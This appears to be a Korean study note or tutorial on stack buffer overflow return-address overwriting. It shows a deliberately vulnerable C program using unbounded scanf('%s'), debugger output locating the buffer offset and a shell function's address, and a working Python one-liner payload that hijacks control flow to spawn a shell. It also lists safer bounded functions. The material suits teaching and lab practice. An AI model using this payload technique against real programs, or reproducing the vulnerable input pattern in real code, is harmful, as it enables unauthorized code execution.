Return address overwrite는 스택 프레임의 반환 주소를 조작함으로써 프로세스의 실행 흐름을 바꾸는 공격 기법.
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
위 코드의 취약점 : scanf("%s", buf)
scanf
함수의 포맷 스트링 중 하나인 %s
는 문자열 입력받을 때 사용"%[n]s"
의 형태를 사용해야 함이외에도 strcpy
, strcat
, sprintf
등 버퍼를 다루면서 길이를 입력하지 않는 함수는 위험.
-> strncpy
, strncat
, snprintf
, fgets
, memcpy
등으로 사용.
취약점을 확인하기 위해 발현시키는 것을 트리거(trigger)라고 함.
$ gcc -o rao rao.c -fno-stack-protector -no-pie
$ ./rao
Input: AAAAA
$
위 프로그램에서 취약점을 트리거하기 위해 "A" 64개 입력
$ ./rao
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
Segmentation fault라는 에러 출력 후 프로그램 비정상적 종료.
잘못된 메모리 주소에 접근하여 버그가 발생함.
(core dumped)는 코어파일(core)을 생성했다는 뜻으로 프로그램 비정상 종료 시 디버깅을 돕기 위해 운영체제 생성.
gdb 툴을 이용하여 코어파일을 분석할 수 있음.
스택 버퍼에 오버플로우를 발생시켜 반환주소를 덮어보기 위해서 먼저 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사.
- main
의 어셈블리 코드를 확인
- scanf
의 인자 전달부분 확인
pwndbg> nearpc 0x400611
0x4005fe <main+25> lea rax, [rbp - 0x30]
0x400602 <main+29> mov rsi, rax
0x400605 <main+32> lea rdi, [rip + 0xa8] #0x4006b4
0x40060c <main+39> mov eax, 0
► 0x400611 <main+44> call __isoc99_scanf@plt <__isoc99_scanf@plt>
pwndbg> x/s 0x4006b4
0x4006b4: "%s"
의사 코드로 표현하면 아래와 같음.
scanf("%s", (rbp-0x30));
오버플로우를 발생시킬 버퍼는 rbp-0x30
에 위치. rbp
에 스택 프레임 포인터(SFP)가 저장되고 rbp-0x8
에는 반환 주소가 저장.
입력할 버퍼와 반환 주소 사이 0x38만큼 거리가 있으므로 그만큼 쓰레기값(dummy data)로 채우고 실행하고자 하는 코드 주소를 입력하면 조작 가능.
void get_shell(){
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
위 예제에는 셸을 실행하는 get_shell()
함수가 있으므로 이 함수의 주소로 main
함수의 반환 주소를 덮어 셸 획득가능.
get_shell()
주소를 찾기 위해 gdb 사용.
$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4005a7 <get_shell>
pwndbg> quit
get_shell()
주소가 0x4005a7임을 확인.
페이로드(Payload)는 시스템 해킹에서 공격을 위해 프로그램에 전달하는 데이터.
이와 같은 페이로드를 구성.
엔디언(Endian)은 메모리에서 데이터가 정렬되는 방식으로 리틀 엔디언(Little-Endian, LE)과 빅 엔디언(Big-Endian, BE)이 사용.
구성한 페이로드를 엔디언을 적용하여 프로그램에 전달.
익스플로잇 작성 시 대상 시스템의 엔디언 고려 필요. 인텔 x86-64 아키텍처를 사용하면 get_shell()
의 주소인 0x4005a7
은 “\xa7\x05\x40\x00\x00\x00\x00\x00”
로 전달.
엔디언 적용하여 페이로드 작성 후, 다음과 같이 rao에 전달하면 셸 획득 가능.
$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xa7\x05\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)
셸 획득.